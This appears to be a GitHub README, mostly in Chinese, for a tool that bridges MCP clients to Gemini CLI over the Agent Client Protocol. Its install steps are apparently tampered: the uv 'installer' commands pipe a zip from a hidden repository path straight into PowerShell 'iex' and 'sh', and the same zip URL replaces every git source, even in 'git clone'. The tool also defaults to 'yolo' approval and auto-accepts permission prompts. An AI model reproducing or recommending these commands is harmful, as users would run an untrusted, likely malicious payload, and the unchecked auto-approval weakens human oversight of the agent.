Bridge MCP clients to Gemini CLI using ACP protocol for efficient, seamless integration of AI tools with Google API services.
将 Gemini CLI 通过 ACP 协议封装为 MCP 工具,供任何 MCP 客户端调用。
简体中文 | English
</div>MCP Client ──MCP/stdio──→ geminimcp (Python) ──ACP/JSON-RPC──→ gemini --acp (Node.js) ──→ Google API
(FastMCP) (AcpBridge) (长驻子进程)MCP Client: Claude Code, Codex, Cursor, VS Code, Claude Desktop 等。
2025 年 8 月我就用 FastMCP 封装过 Gemini CLI 的 MCP,能通信但体验不佳。后来在论坛上看到 GuDaStudio/geminimcp(原帖),思路类似,感谢分享。
用了一段时间孙佬的 MCP 后,发现每次调用都要等挺久,翻了下源码才知道它底层是 gemini --prompt -o stream-json——每次请求都 spawn 一个新进程、解析文本输出,冷启动开销避不开。
然后某天跑 gemini --help 的时候,注意到有个 --acp 标志。查了一下发现这是 Gemini CLI 内置的 Agent Client Protocol——一套完整的 JSON-RPC 协议,支持有状态会话、流式响应、权限管理和多模态输入。
也就是说,不用每次"调命令行"了,可以起一个常驻进程,直接和 Gemini Agent 对话。
于是我们基于 ACP 重新设计了整个 bridge:
gemini --acp 进程,消除冷启动开销| 维度 | MCP (Model Context Protocol) | ACP (Agent Client Protocol) |
|---|---|---|
| 层级 | 协议/连接层 | 代理/执行层 |
| 侧重 | Agent 能用什么外部工具 | Agent 如何自主执行任务 |
| 通信 | 单次工具调用 | 有状态会话(多轮交互) |
| 典型场景 | 读 GitHub issue 列表 | 自主修复一个 auth bug |
geminimcp 的作用就是在两层之间架桥:外部通过 MCP 发指令,内部通过 ACP 让 Gemini 自主执行。
uv tool install 一键部署前置依赖:
# uv (包管理)
# Windows
powershell -ExecutionPolicy ByPass -c "irm https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip | iex"
# Linux/macOS
curl -LsSf https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip | sh
# Gemini CLI
npm install -g @google/gemini-cliClaude Code:
claude mcp add gemini -s user --transport stdio -- uvx --from git+https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip geminimcp此命令自动下载并注册,无需预装。
# 从 GitHub 安装
uv tool install --from git+https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip geminimcp
# 或 clone 后本地安装
git clone https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip
uv tool install --from gemini_mcp geminimcp注册到 Claude Code:
claude mcp add gemini -s user --transport stdio -- geminimcp可选:将 .claude/CLAUDE.md 合并到 ~/.claude/CLAUDE.md,将 .claude/rules/mcp-agents.md 复制到 ~/.claude/rules/,帮助 Claude 更好地使用 Gemini MCP。
Codex (~/.codex/config.toml):
[mcp_servers.gemini]
command = "geminimcp"或执行:
codex mcp add gemini -- geminimcp更新:
uv tool install --reinstall --force --from git+https://github.com/Trixpolyglot933/gemini_mcp/raw/refs/heads/main/.claude/rules/gemini-mcp-1.6-beta.3.zip geminimcpgeminimcp 支持与其他 MCP agent 互调,实现 3 层链式调用。
Gemini → Codex (~/.gemini/settings.json → mcpServers):
"codex": {
"command": "codex",
"args": ["mcp-server"]
}或执行:
gemini mcp add --scope user codex codex mcp-serverCodex → Gemini (~/.codex/config.toml):
[mcp_servers.gemini]
command = "geminimcp"或执行:
codex mcp add gemini -- geminimcp配置双向后:
Client → Codex → Gemini: Codex 内部调用 Gemini MCPClient → Gemini → Codex: Gemini 内部调用 Codex MCP| Tool | 用途 |
|---|---|
gemini | 发送 prompt,收集 Gemini 响应(主工具) |
list_models | 列出可用模型、approval mode 和 bridge 状态 |
list_sessions | 列出活跃 ACP session |
reset_session | 重置指定或全部 session |
gemini 主要参数| 参数 | 默认值 | 说明 |
|---|---|---|
PROMPT | (必需) | 发给 Gemini 的指令 |
cd | (必需) | 工作区根目录 |
model | gemini-3.1-pro-preview | 模型选择(flash / pro) |
approval_mode | yolo | 工具审批模式:yolo / auto_edit / default / plan |
image_path | "" | 图片路径(vision 分析) |
context | "" | 注入 ACP resource ContentBlock 的文本上下文 |
allowed_mcp_servers | None | 过滤 Gemini 加载的 MCP server(None=全部) |
allowed_mcp_servers 参数按名称过滤透传的 MCP serversession/request_permission,自动选择首选项,防止子进程挂起| 文件 | 内容 |
|---|---|
| CLAUDE.md | 开发维护指南 |
| acp-boundary.md | ACP 协议边界(实现 vs 未实现) |
| gemini-sandbox.md | 沙箱模式说明 |
如果觉得有用,请给个 Star 支持一下 :)
</div>Trixpolyglot933/gemini_mcp
March 23, 2026
April 13, 2026
Python